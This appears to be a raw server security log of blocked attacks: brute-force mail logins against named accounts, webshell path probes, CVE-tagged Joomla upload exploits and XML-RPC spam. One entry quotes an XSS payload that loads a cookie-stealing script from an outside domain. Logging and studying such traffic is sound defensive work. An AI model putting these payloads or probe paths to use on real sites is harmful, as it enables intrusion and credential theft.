name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 91.120.171.142
country_id: 719819
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:52928.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0d31f41db0784457431788f85cf4ff8f19d8b735||Title:0zzjad120dnk6rvx||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.177.143.154
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/ogocindia/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.54
country_id: 1668284
description:
2026-07-17 22:39:19 dovecot_login authenticator failed for H=110-25-109-54.adsl.fetnet.net ([49.124.152.25]) [110.25.109.54]:59110: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.32.68.66
country_id: 1835841
description:
2026-07-17 22:39:46 dovecot_login authenticator failed for H=([182.95.181.50]) [61.32.68.66]:12108: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.11.0.20
country_id: 1835841
description:
2026-07-17 22:38:48 dovecot_login authenticator failed for H=([36.92.196.106]) [59.11.0.20]:40356: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.114.8
country_id: 1668284
description:
2026-07-17 22:38:59 dovecot_login authenticator failed for H=110-25-114-8.adsl.fetnet.net (102-220-158-10.simbafiber.co.zm) [110.25.114.8]:36192: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.83
country_id: 1733045
description:
2026-07-17 22:40:28 dovecot_login authenticator failed for H=([203.193.147.37]) [49.125.201.83]:33918: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.45.200.87
country_id: 2077456
description:
2026-07-17 22:45:11 dovecot_login authenticator failed for H=([174.179.100.65]) [203.45.200.87]:44999: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 43.228.157.75
country_id: 1168579
domain: www.ibmcglobal.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/apikey/apikey.php?test=hello||WPU:||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140165
name: IM360 WAF: Block .suspected files
abuser: 43.228.157.75
country_id: 1168579
domain: www.ibmcglobal.com
description:
IM360 WAF: Block .suspected files||RSV:8.30||T:APACHE||MVN:REQUEST_FILENAME||MV:/plugins/content/apismtp/apismtp.php.suspected||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.91.46.151
country_id: 6252001
description:
2026-07-17 22:45:50 dovecot_login authenticator failed for H=([184.185.2.1]) [173.91.46.151]:57399: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.249.245.134
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/fefkadirectors/public_html/wp-includes||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 132.196.30.22
country_id: 6252001
domain: combinations.in
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.30||T:APACHE||MV:/wp-admin/includes/index.php||


plugin: modsec
rule: 77783317
name: IM360 WAF: [monitor] DB-management plugin/tool interaction (WPT-2631 attack-surface tracking)
abuser: 132.196.30.22
country_id: 6252001
domain: combinations.in
description:
IM360 WAF: [monitor] DB-management plugin/tool interaction (WPT-2631 attack-surface tracking)||MV:/adminer.php||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 132.196.30.22
country_id: 6252001
domain: combinations.in
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/combinations/public_html/wp-includes||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.163.103
country_id: 99237
description:
2026-07-17 22:49:26 dovecot_login authenticator failed for H=(host-static-178-132-144-161.moldtelecom.md) [65.20.163.103]:34276: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.108.109
country_id: 1269750
description:
2026-07-17 22:49:36 dovecot_login authenticator failed for H=([67.201.57.102]) [183.82.108.109]:43460: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-17 22:50:34 dovecot_login authenticator failed for H=([184.185.2.1]) [125.23.204.74]:51254: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://samedayhvacrepair3.info\">web site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.220.234.72
country_id: 2077456
description:
2026-07-17 22:50:48 dovecot_login authenticator failed for H=([89.67.37.52]) [203.220.234.72]:49090: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-17 22:55:20 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net (dsl-tn-150.92.246.61.airtelbroadband.in) [73.203.17.220]:43184: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.207.233.24
country_id: 1835841
description:
2026-07-17 22:55:46 dovecot_login authenticator failed for H=([60.216.89.122]) [175.207.233.24]:44011: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.231
country_id: 99237
description:
2026-07-17 22:56:24 dovecot_login authenticator failed for H=([14.243.169.55]) [65.20.191.231]:47621: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.162.0.119
country_id: 1835841
description:
2026-07-17 22:56:47 dovecot_login authenticator failed for H=([128.185.209.30]) [221.162.0.119]:34524: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.197.42
country_id: 1269750
description:
2026-07-17 22:57:59 dovecot_login authenticator failed for H=(Dinamic-Tigo-181-205-51-99.tigo.com.co) [128.185.197.42]:49824: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.47.166.23
country_id: 1522867
description:
2026-07-17 23:07:07 dovecot_login authenticator failed for H=92.47.166.23.dynamic.telecom.kz (67-43-240-149.fidnet.com) [92.47.166.23]:60175: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.251.149.81
country_id: 6252001
description:
2026-07-17 23:07:16 dovecot_login authenticator failed for H=64-251-149-81.fidnet.com (211-20-70-64.hinet-ip.hinet.net) [64.251.149.81]:49968: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 106.213.80.74
country_id: 1269750
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:42191.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6b37ae0ed451824dbb591d1c7a689213603693b6||Title:0x9f063c43||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77562131
abuser: 128.199.119.158
country_id: 1880251
domain: www.fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla iCagenda registration.submit (CVE-2026-48939)||MVN:FILES:jform[attachment]||MV:ic_648bc57908.php||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/images/images/cache.php||SC:/home/keralapeople/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.245.16
country_id: 1835841
description:
2026-07-17 23:09:20 dovecot_login authenticator failed for H=([14.54.22.11]) [220.80.245.16]:59867: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-17 23:09:10 dovecot_login authenticator failed for H=(a95-94-205-12.cpe.netcabo.pt) [103.168.241.32]:37997: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.109.136
country_id: 660013
description:
2026-07-17 23:11:59 dovecot_login authenticator failed for H=([218.200.9.182]) [45.82.109.136]:47862: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.35.225.197
country_id: 3996063
description:
[2026-07-17 23:12:29 +0530] info [cpaneld] 38.35.225.197 - ddgalaxy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.241.64.237
country_id: 1835841
description:
2026-07-17 23:15:00 dovecot_login authenticator failed for H=([103.181.5.124]) [1.241.64.237]:45624: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.96.233.67
country_id: 6251999
description:
2026-07-17 23:15:11 dovecot_login authenticator failed for H=208-96-233-67.resi.cgocable.ca ([124.239.169.52]) [208.96.233.67]:36942: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.65.30
country_id: 1835841
description:
2026-07-17 23:15:40 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [219.248.65.30]:50025: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.32.200.175
country_id: 2077456
description:
2026-07-17 23:15:57 dovecot_login authenticator failed for H=27-32-200-175.tpgi.com.au (dynamic-adsl.movitel.co.mz) [27.32.200.175]:55152: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-17 23:16:40 dovecot_login authenticator failed for H=(wsip-184-178-172-12.rn.hr.cox.net) [182.95.217.202]:36434: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.94.236.211
country_id: 6251999
description:
2026-07-17 23:16:56 dovecot_login authenticator failed for H=(firewall01.practicetechnologies.ml.zerolag.com) [174.94.236.211]:58873: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.29.124
country_id: 6252001
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/images/uploader.php||SC:/home/combinations/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.175.66.26
country_id: 6252001
description:
2026-07-17 23:18:44 dovecot_login authenticator failed for H=([195.158.26.59]) [24.175.66.26]:39098: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.169.211.63
country_id: 1643084
description:
2026-07-17 23:19:11 dovecot_login authenticator failed for H=([41.207.248.198]) [103.169.211.63]:50692: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 191.101.118.29
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://maps.app.goo.gl/ugeVjCHpgnLPsUTf9\">Carpet Cleaning near me</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-17 23:21:31 dovecot_login authenticator failed for H=([14.20.73.26]) [65.99.181.123]:46548: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.194.162
country_id: 1269750
description:
2026-07-17 23:21:49 dovecot_login authenticator failed for H=([70.166.167.33]) [128.185.194.162]:44496: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 132.255.115.106
country_id: 3865483
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5c669901 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.59
country_id: 1733045
description:
2026-07-17 23:26:44 dovecot_login authenticator failed for H=([91.202.230.214]) [49.124.151.59]:43258: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.177.143.154
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/yukticlick/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.177.143.154
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/yukticlick/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.163.103
country_id: 99237
description:
2026-07-17 23:29:54 dovecot_login authenticator failed for H=([106.13.181.87]) [65.20.163.103]:51572: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 172.177.143.154
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/yukticlick/public_html/wp-includes||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.109.13.50
country_id: 1269750
description:
2026-07-17 23:30:17 dovecot_login authenticator failed for H=([58.37.196.39]) [103.109.13.50]:56100: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.118
country_id: 1269750
description:
2026-07-17 23:32:37 dovecot_login authenticator failed for H=([72.207.109.1]) [182.95.106.118]:45424: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.65.90.155
country_id: 3277605
description:
2026-07-17 23:32:16 dovecot_login authenticator failed for H=agencijaiiz1-155.bih.net.ba (176-170-1-244.abo.bbox.fr) [80.65.90.155]:44914: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.234.138.49
country_id: 6252001
description:
2026-07-17 23:33:42 dovecot_login authenticator failed for H=([124.152.90.68]) [47.234.138.49]:35426: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.181.38
country_id: 2661886
description:
2026-07-17 23:33:30 dovecot_login authenticator failed for H=c-83-226-181-38.bbcust.telenor.se (red.138.118.213.204.ssservicios.com.ar) [83.226.181.38]:43968: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.201.59.127
country_id: 1522867
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/category/products?Itemid=101 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.3.231.198
country_id: 99237
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/?page_id=1383/ HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.173.179.110
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ibmcglobal/public_html/wp-admin||


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 46.226.166.112
country_id: 3017382
domain: ibmcglobal.com
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.31||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><script/async/src=//amberobservatory.top/public/scope-cookie.js></script>||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 172.173.179.110
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/goods.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 172.173.179.110
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ibmcglobal/public_html/wp-includes||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://acrepair1.info\">website</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.173.179.110
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-17 23:44:38 dovecot_login authenticator failed for H=([67.201.58.185]) [112.161.26.125]:59030: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.200.184
country_id: 660013
description:
2026-07-17 23:44:56 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc8-184.dhcp.inet.fi ([67.201.57.102]) [80.223.200.184]:53714: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.251.113.42
country_id: 3996063
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/globalgroupoman.com/assets/divisions/GCS-21.jpg HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 172.177.143.154
country_id: 6252001
domain: gowww.ibmcglobal.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/var/www/html/wp-includes||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.177.143.154
country_id: 6252001
domain: gowww.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/wp-admin/images/admin.php||SC:/var/www/html/wp-admin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 96.44.160.199
country_id: 6252001
domain: mail.cochinbigbandshow.com
description:
IM360 WAF: Bad file extension||RSV:8.31||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:cochinbigbandsho||


plugin: modsec
rule: 77209353
abuser: 47.129.206.51
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/index.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-17 23:48:24 dovecot_login authenticator failed for H=(syn-024-142-170-231.biz.spectrum.com) [182.95.229.110]:56938: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-17 23:48:37 dovecot_login authenticator failed for H=([223.107.72.234]) [197.219.208.58]:58452: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-17 23:49:04 dovecot_login authenticator failed for H=([115.241.228.34]) [94.16.17.140]:49440: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77281327
abuser: 166.0.106.42
country_id: 6251999
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated file write/delete via Helix3 com_ajax handler for Joomla before 3.1.1 (CVE-2026-49049)||MVN:REQUEST_FILENAME||MV:/index.php||RF:/index.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/uploads/bigdump.php||SC:/home/elegantautomotiv/public_html/uploads||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 172.202.76.205
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/5drd24.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/uploads/788_c99.php||SC:/home/elegantautomotiv/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-17 23:52:37 dovecot_login authenticator failed for H=([223.107.72.234]) [197.219.208.58]:55214: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.124.255
country_id: 1880251
domain: www.fefkadirectorsunion.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.150
country_id: 1668284
description:
2026-07-17 23:57:44 dovecot_login authenticator failed for H=110-25-112-150.adsl.fetnet.net ([49.124.153.22]) [110.25.112.150]:47365: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 88.234.210.116
country_id: 298795
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:36421.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2a43dc42f4de41afd9dcd3240320cb0e787a181d||Title:0x282b39d9||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.163.124.138
country_id: 6252001
description:
2026-07-17 23:58:05 dovecot_login authenticator failed for H=([189.108.215.39]) [98.163.124.138]:49888: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-18 00:01:01 dovecot_login authenticator failed for H=([72.207.109.1]) [182.95.101.182]:50946: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-18 00:01:12 dovecot_login authenticator failed for H=([2.133.4.22]) [182.95.61.82]:48692: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-18 00:01:23 dovecot_login authenticator failed for H=([88.84.209.146]) [210.118.224.138]:38207: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-18 00:01:46 dovecot_login authenticator failed for H=([36.64.211.93]) [175.200.217.128]:42210: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.187.250
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:00-05.196.51.187.250||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.187.45
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:00-04.196.51.187.45||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.184.116
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:00-04.196.51.184.116||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.118.232.13
country_id: 6252001
description:
2026-07-18 00:04:52 dovecot_login authenticator failed for H=ool-4576e80d.dyn.optonline.net ([49.125.203.171]) [69.118.232.13]:33196: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.187.235
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:00-04.196.51.187.235||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.226.93.192
country_id: 2464461
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-theater-solutions HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.116.171.97
country_id: 2921044
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/upload/upload.php||SC:/home/fefkadirectors/public_html/upload||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/fefkadirectors/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.251.249.117
country_id: 2300660
description:
